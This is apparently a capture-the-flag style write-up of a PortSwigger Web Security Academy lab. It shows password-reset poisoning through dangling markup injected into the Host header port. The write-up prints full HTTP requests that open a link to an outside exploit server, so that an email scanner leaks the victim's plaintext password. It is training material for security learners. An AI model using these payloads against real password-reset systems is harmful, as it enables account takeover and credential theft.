| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | HTTP Host Header Attacks / Dangling Markup Injection |
| Difficulty | Expert |
| Objective | Poison the password reset email sent to carlos so the new plaintext password leaks to our exploit server, then log in as carlos |
Password Reset Poisoning via Dangling Markup¶
I logged in as wiener:peter and triggered a password reset to study the email:
The raw email source revealed two things: the href in the reset link is built from the Host header, and the new password is sent in plaintext directly in the email body. Classic password reset poisoning replaces Host to steal a token — but here the link just goes to /login with no token. The password itself is what needs to be exfiltrated.
Dangling markup injection is the technique: break out of the current tag context, open a new <a> with a URL pointing at our exploit server, and let everything that follows — including the plaintext password — fall into that URL as a query string. When an email scanner follows the link, the password arrives in the request log.
A full Host override returned 504 Gateway Timeout.
Port injection in the Host header is often overlooked when full domain overrides fail — testing Host: legitimate.domain:INJECTED got a 200 OK and the port value reflected unsanitized into the href:
POST /forgot-password HTTP/2
Host: 0a44004d04ea0a9a8066033400bd0078.web-security-academy.net:6767
Injection point confirmed. Escaping the existing href attribute with a single quote and opening a new <a> tag:
Host: 0a44004d04ea0a9a8066033400bd0078.web-security-academy.net:6767'<a href="https://teto.com/?
The email body became:
<a href="https://teto.com/?/login'>click here</a> to login with your new password: a31j0k0caq</p>...
The ? is load-bearing — without it, /login'>click here</a>... becomes a path segment. Turning the trailing content into a query parameter is what makes the password readable in the server logs.
Pointing the injected URL at the exploit server and triggering a reset for wiener to confirm the email scanner follows links:
Hit in the access log. The MacCarthy Email Security service mentioned in the email footer is the unwitting accomplice — it follows links automatically, which is exactly the delivery mechanism needed. Without something clicking the injected link, the attack would require user interaction.
Triggering the same payload for carlos:
POST /forgot-password HTTP/2
Host: 0a44004d04ea0a9a8066033400bd0078.web-security-academy.net:6767'<a href="https://exploit-0a52005504800ae68008021c01680068.exploit-server.net/?
csrf=HfYLUrWxAqDRvafQqbotGyS9ut0kNlje&username=carlos
The access log showed the full email body in the query string — Carlos's new password was kmA28PTJMr. Logging in:
Lab solved and section finished!